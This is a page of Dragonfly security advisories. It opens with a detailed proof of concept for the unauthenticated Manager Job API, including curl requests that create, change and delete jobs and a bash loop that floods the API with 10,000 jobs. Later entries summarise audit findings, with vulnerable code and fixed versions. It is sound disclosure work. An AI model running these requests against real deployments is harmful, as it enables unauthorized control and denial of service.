Filter by signal
13 Dragonfly CVEs, newest first
Dragonfly Manager Job API Unauthenticated Access ## Summary Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption. ## Affected Products - **Product**: Dragonfly - **Component**: Manager (REST API) - **Affected Versions**: v2.x (based on source code analysis, including v2.4.0) - **Affected Endpoints**: `/api/v1/jobs` ## Vulnerability Details ### Description Dragonfly Manager's Job API endpoints (`/api/v1/jobs`) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations: 1. **List all jobs** (GET `/api/v1/jobs`) 2. **Create new jobs** (POST `/api/v1/jobs`) 3. **Query job details** (GET `/api/v1/jobs/:id`) 4. **Modify jobs** (PATCH `/api/v1/jobs/:id`) 5. **Delete jobs** (DELETE `/api/v1/jobs/:id`) ### Technical Root Cause In the source code file `manager/router/router.go` at lines 204-211, the Job API route group lacks authentication middleware: ```go // TODO Add auth to the following routes and fix the tests. // Job. job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) ``` In contrast, other API endpoints (such as `/clusters`) are correctly configured with authentication: ```go // manager/router/router.go:143 c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac) ``` The developer left a TODO comment in the code, indicating this is a known but unresolved issue. ## Proof of Concept ### Environment Setup #### Prerequisites - Kubernetes cluster (Kind/Minikube/GKE, etc.) - Helm 3.8.0+ - kubectl - curl and jq #### Deployment Steps 1. **Add Dragonfly Helm Repository** ```bash helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/ helm repo update ``` 2. **Generate Deployment Manifest** ```bash helm template dragonfly dragonfly/dragonfly \ --namespace dragonfly-system \ --set manager.replicas=1 \ --set scheduler.replicas=1 \ --set seedClient.replicas=1 \ --set client.enable=false > /tmp/dragonfly-manifest.yaml ``` 3. **Deploy to Kubernetes** ```bash kubectl create namespace dragonfly-system kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s ``` **Expected Output**: ``` namespace/dragonfly-system created [... resource creation messages ...] pod/dragonfly-manager-5cc788d64b-grpbk condition met pod/dragonfly-mysql-0 condition met pod/dragonfly-redis-master-0 condition met pod/dragonfly-scheduler-0 condition met pod/dragonfly-seed-client-0 condition met ``` 4. **Setup Port Forwarding** ```bash kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 & ``` ### Exploitation Steps #### Step 1: Verify Unauthenticated Access **Command**: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs ``` **Actual Output**: ```json [] ``` **HTTP Status Code**: `200 OK` **Analysis**: The API returns a successful response instead of `401 Unauthorized`, confirming the lack of authentication. #### Step 2: Create Unauthorized Job **Command**: ```bash curl -s -X POST http://localhost:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d '{ "type": "preheat", "args": { "type": "file", "url": "http://example.com/test-file.txt" }, "scheduler_cluster_ids": [1] }' | jq . ``` **Actual Output**: ```json { "id": 2, "created_at": "2026-01-17T16:34:22.497Z", "updated_at": "2026-01-17T16:34:22.497Z", "task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9", "type": "preheat", "state": "PENDING", "args": { "type": "file", "url": "http://example.com/test-file.txt", "scope": "single_seed_peer", "timeout": 3600000000000 }, "user_id": 0, "scheduler_clusters": [ { "id": 1, "name": "cluster-1", "is_default": true } ] } ``` **HTTP Status Code**: `200 OK` **Analysis**: Successfully created a Job (ID: 2) without any authentication token. #### Step 3: Query Job Details **Command**: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state' ``` **Actual Output**: ```json 2 "preheat" "PENDING" ``` **HTTP Status Code**: `200 OK` #### Step 4: Modify Job **Command**: ```bash curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \ -H "Content-Type: application/json" \ -d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio' ``` **Actual Output**: ```json 2 "Modified by unauthenticated attacker" ``` **HTTP Status Code**: `200 OK` #### Step 5: Delete Job **Command**: ```bash curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2 ``` **Actual Output**: ``` 200 ``` **HTTP Status Code**: `200 OK` #### Step 6: Comparison Test - Authenticated Endpoint **Command**: ```bash curl -s -X GET http://localhost:8080/api/v1/clusters | jq . ``` **Actual Output**: ```json { "message": "Unauthorized" } ``` **HTTP Status Code**: `401 Unauthorized` **Analysis**: This proves that the authentication mechanism itself is working correctly; only the Job API endpoints are missing the configuration. ### Automated POC Script Complete automated verification script available at: - Script: `poc.sh` - Output Log: `poc_output.log` **Execution Summary**: ``` [Test 1] GET /api/v1/jobs - HTTP 200 VULNERABLE [Test 2] POST /api/v1/jobs - HTTP 200 VULNERABLE (Job ID: 2) [Test 3] GET /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 4] PATCH /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 5] DELETE /api/v1/jobs/2 - HTTP 200 VULNERABLE [Test 6] GET /api/v1/clusters - HTTP 401 EXPECTED (comparison test) ``` ## Impact Analysis ### Direct Impact 1. **Unauthorized Job Management**: Attackers can fully control the Job lifecycle (CRUD operations) 2. **Information Disclosure**: Can query all jobs, potentially exposing internal URLs, configurations, and business logic 3. **Service Disruption**: Can delete legitimate jobs, affecting normal file distribution services 4. **Resource Exhaustion**: Can create massive numbers of jobs leading to system resource exhaustion (DoS) ### Potential Attack Scenarios 1. **Resource Exhaustion Attack** ```bash # Create 10,000 jobs to exhaust resources for i in $(seq 1 10000); do curl -X POST http://manager:8080/api/v1/jobs \ -H "Content-Type: application/json" \ -d "{\"type\":\"preheat\",\"args\":{\"type\":\"file\",\"url\":\"http://example.com/file-${i}.txt\"},\"scheduler_cluster_ids\":[1]}" & done ``` 2. **SSRF Risk**: Through the URL parameter of Preheat jobs, SSRF attacks may be triggered (although there is SafeDialer protection, risks still exist) 3. **Business Logic Disruption**: Delete or modify critical jobs, affecting CDN preheating and file distribution functionality ### Affected Deployment Scenarios - Manager API exposed on the public internet or untrusted networks - Malicious users or compromised systems in internal networks - Tenant isolation failures in multi-tenant environments ## Remediation ### Recommended Fix Add authentication and authorization middleware to the Job API in the `manager/router/router.go` file: ```go // Before Fix (lines 204-211) job := apiv1.Group("/jobs") job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) // After Fix job := apiv1.Group("/jobs", jwt.MiddlewareFunc(), rbac) job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob) job.DELETE(":id", h.DestroyJob) job.PATCH(":id", h.UpdateJob) job.GET(":id", h.GetJob) job.GET("", h.GetJobs) ``` ### Temporary Mitigation Before the fix is released, the following mitigation measures can be taken: 1. **Network Isolation**: Restrict network access to the Manager API - Use firewall rules to limit source IPs - Only allow trusted internal networks to access - Use Kubernetes NetworkPolicy to restrict Pod-to-Pod communication 2. **API Gateway**: Deploy an API gateway in front of Manager for authentication - Use reverse proxies like Nginx/Kong/Traefik - Configure OAuth2/JWT validation 3. **Monitoring and Alerting**: Monitor abnormal access patterns to Job API - Log all Job API calls - Set up alerts for abnormal job creation/deletion ### Verify Fix After the fix, all unauthenticated requests should return `401 Unauthorized`: ```bash curl -s -X GET http://localhost:8080/api/v1/jobs ``` **Expected Output**: ```json { "message": "Unauthorized" } ``` ## Appendix: Complete Verification Logs ### Deployment Verification Logs ```bash $ kubectl -n dragonfly-system get pods NAME READY STATUS RESTARTS AGE dragonfly-manager-5cc788d64b-grpbk 1/1 Running 0 5m dragonfly-mysql-0 1/1 Running 0 5m dragonfly-redis-master-0 1/1 Running 0 5m dragonfly-redis-replicas-0 1/1 Running 0 5m dragonfly-scheduler-0 1/1 Running 0 5m dragonfly-seed-client-0 1/1 Running 0 5m $ kubectl -n dragonfly-system get svc dragonfly-manager NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE dragonfly-manager ClusterIP 10.96.240.126 <none> 8080/TCP,65003/TCP 5m ``` ### POC Execution Complete Logs See `poc_output.log` file for details. ``` ========================================== VUL-001: Job API Unauthenticated Access POC ========================================== [Test 1] GET /api/v1/jobs (No Authentication) HTTP Status: 200 Response: [] ✅ VULNERABLE: Endpoint accessible without authentication [Test 2] POST /api/v1/jobs (No Authentication) HTTP Status: 200 Job ID: 2 ✅ VULNERABLE: Job created without authentication [Test 3] GET /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job details accessible without authentication [Test 4] PATCH /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job updated without authentication [Test 5] DELETE /api/v1/jobs/2 (No Authentication) HTTP Status: 200 ✅ VULNERABLE: Job deleted without authentication [Test 6] GET /api/v1/clusters (Should Require Authentication) HTTP Status: 401 Response: {"message":"Unauthorized"} ✅ EXPECTED: Endpoint correctly requires authentication ========================================== POC Execution Complete ========================================== ``` --- ## Patches - Dragonfy v2.4.1 and above. ## Workarounds There are no effective workarounds, beyond upgrading.
DragonFly's tiny file download uses hard coded HTTP protocol ### Impact The code in the scheduler for downloading a tiny file is hard coded to use the HTTP protocol, rather than HTTPS. This means that an attacker could perform a Man-in-the-Middle attack, changing the network request so that a different piece of data gets downloaded. Due to the use of weak integrity checks (TOB-DF2-15), this modification of the data may go unnoticed. ```golang // DownloadTinyFile downloads tiny file from peer without range. func (p *Peer) DownloadTinyFile() ([]byte, error) { ctx, cancel := context.WithTimeout(context.Background(), downloadTinyFileContextTimeout) defer cancel() // Download url: http://${host}:${port}/download/${taskIndex}/${taskID}?peerId=${peerID} targetURL := url.URL{ Scheme: } "http", fmt.Sprintf("%s:%d", p.Host.IP, p.Host.DownloadPort), fmt.Sprintf("download/%s/%s", p.Task.ID[:3], p.Task.ID), Host: Path: RawQuery: fmt.Sprintf("peerId=%s", p.ID), ``` A network-level attacker who cannot join a peer-to-peer network performs a Man-in-the-Middle attack on peers. The adversary can do this because peers (partially) communicate over plaintext HTTP protocol. The attack chains this vulnerability with the one described in TOB-DF2-15 to replace correct files with malicious ones. Unconscious peers use the malicious files. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
DragonFly has weak integrity checks for downloaded files ### Impact The DragonFly2 uses a variety of hash functions, including the MD5 hash. This algorithm does not provide collision resistance; it is secure only against preimage attacks. While these security guarantees may be enough for the DragonFly2 system, it is not completely clear if there are any scenarios where lack of the collision resistance would compromise the system. There are no clear benefits to keeping the MD5 hash function in the system. ```golang var pieceDigests []string for i := int32(0); i < t.TotalPieces; i++ { pieceDigests = append(pieceDigests, t.Pieces[i].Md5) } digest := digest.SHA256FromStrings(pieceDigests...) if digest != t.PieceMd5Sign { t.Errorf("invalid digest, desired: %s, actual: %s", t.PieceMd5Sign, digest) t.invalid.Store(true) return ErrInvalidDigest } ``` Alice, a peer in the DragonFly2 system, creates two images: an innocent one, and one with malicious code. Both images consist of two pieces, and Alice generates the pieces so that their respective MD5 hashes collide (are the same). Therefore, the PieceMd5Sign metadata of both images are equal. Alice shares the innocent image with other peers, who attest to their validity (i.e., that it works as expected and is not malicious). Bob wants to download the image and requests it from the peer-to-peer network. After downloading the image, Bob checks its integrity with a SHA256 hash that is known to him. Alice, who is participating in the network, had already provided Bob the other image, the malicious one. Bob unintentionally uses the malicious image. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
DragonFly's manager generates mTLS certificates for arbitrary IP addresses ### Impact A peer can obtain a valid TLS certificate for arbitrary IP addresses, effectively rendering the mTLS authentication useless. The issue is that the Manager’s Certificate gRPC service does not validate if the requested IP addresses “belong to” the peer requesting the certificate—that is, if the peer connects from the same IP address as the one provided in the certificate request. ```golang if addr, ok := p.Addr.(*net.TCPAddr); ok { ip = addr.IP.String() } else { ip, _, err = net.SplitHostPort(p.Addr.String()) if err != nil { return nil, err } } // Parse csr. [skipped] // Check csr signature. // TODO check csr common name and so on. if err = csr.CheckSignature(); err != nil { return nil, err } [skipped] // TODO only valid for peer ip // BTW we need support both of ipv4 and ipv6. ips := csr.IPAddresses if len(ips) == 0 { // Add default connected ip. ips = []net.IP{net.ParseIP(ip)} } ``` ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
DragonFly vulnerable to arbitrary file read and write on a peer machine ### Impact A peer exposes the gRPC API and HTTP API for consumption by other peers. These APIs allow peers to send requests that force the recipient peer to create files in arbitrary file system locations, and to read arbitrary files. This allows peers to steal other peers’ secret data and to gain remote code execution (RCE) capabilities on the peer’s machine. ```golang file, err := os.OpenFile(t.DataFilePath, os.O_RDWR, defaultFileMode) if err != nil { return 0, err } defer file.Close() if _, err = file.Seek(req.Range.Start, io.SeekStart); err != nil { return 0, err } n, err := io.Copy(file, io.LimitReader(req.Reader, req.Range.Length)) ``` ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
DragonFly vulnerable to panics due to nil pointer dereference when using variables created alongside an error ### Impact We found two instances in the DragonFly codebase where the first return value of a function is dereferenced even when the function returns an error (figures 9.1 and 9.2). This can result in a nil dereference, and cause code to panic. The codebase may contain additional instances of the bug. ```golang request, err := source.NewRequestWithContext(ctx, parentReq.Url, parentReq.UrlMeta.Header) if err != nil { log.Errorf("generate url [%v] request error: %v", request.URL, err) span.RecordError(err) return err } ``` Eve is a malicious actor operating a peer machine. She sends a dfdaemonv1.DownRequest request to her peer Alice. Alice’s machine receives the request, resolves a nil variable in the server.Download method, and panics. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
Dragonfly vulnerable to timing attacks against Proxy’s basic authentication ### Impact The access control mechanism for the Proxy feature uses simple string comparisons and is therefore vulnerable to timing attacks. An attacker may try to guess the password one character at a time by sending all possible characters to a vulnerable mechanism and measuring the comparison instruction’s execution times. The vulnerability is shown in figure 8.1, where both the username and password are compared with a short-circuiting equality operation. ```golang if user != proxy.basicAuth.Username || pass != proxy.basicAuth.Password { ``` It is currently undetermined what an attacker may be able to do with access to the proxy password. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
Dragonfly's directories created via os.MkdirAll are not checked for permissions ### Impact DragonFly2 uses the os.MkdirAll function to create certain directory paths with specific access permissions. This function does not perform any permission checks when a given directory path already exists. This allows a local attacker to create a directory to be used later by DragonFly2 with broad permissions before DragonFly2 does so, potentially allowing the attacker to tamper with the files. Eve has unprivileged access to the machine where Alice uses DragonFly2. Eve watches the commands executed by Alice and introduces new directories/paths with 0777 permissions before DragonFly2 does so. Eve can then delete and forge files in that directory to change the results of further commands executed by Alice. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
Dragonfly incorrectly handles a task structure’s usedTrac field ### Impact The processPieceFromSource method (figure 4.1) is part of a task processing mechanism. The method writes pieces of data to storage, updating a Task structure along the way. The method does not update the structure’s usedTraffic field, because an uninitialized variable n is used as a guard to the AddTraffic method call, instead of the result.Size variable. ```golang var n int64 result.Size, err = pt.GetStorage().WritePiece([skipped]) result.FinishTime = time.Now().UnixNano() if n > 0 { pt.AddTraffic(uint64(n)) } ``` A task is processed by a peer. The usedTraffic metadata is not updated during the processing. Rate limiting is incorrectly applied, leading to a denial-of-service condition for the peer. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
Dragonfly's manager makes requests to external endpoints with disabled TLS authentication ### Impact The Manager disables TLS certificate verification in two HTTP clients (figures 3.1 and 3.2). The clients are not configurable, so users have no way to re-enable the verification. ```golang func getAuthToken(ctx context.Context, header http.Header) (string, error) { [skipped] client := &http.Client{ Timeout: defaultHTTPRequesttimeout, Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, } [skipped] } ``` A Manager processes dozens of preheat jobs. An adversary performs a network-level Man-in-the-Middle attack, providing invalid data to the Manager. The Manager preheats with the wrong data, which later causes a denial of service and file integrity problems. ### Patches - Dragonfy v2.1.0 and above. ### Workarounds There are no effective workarounds, beyond upgrading. ### References A third party security audit was performed by Trail of Bits, you can see the [full report](https://github.com/dragonflyoss/dragonfly/blob/main/docs/security/dragonfly-comprehensive-report-2023.pdf). If you have any questions or comments about this advisory, please email us at [dragonfly-maintainers@googlegroups.com](mailto:dragonfly-maintainers@googlegroups.com).
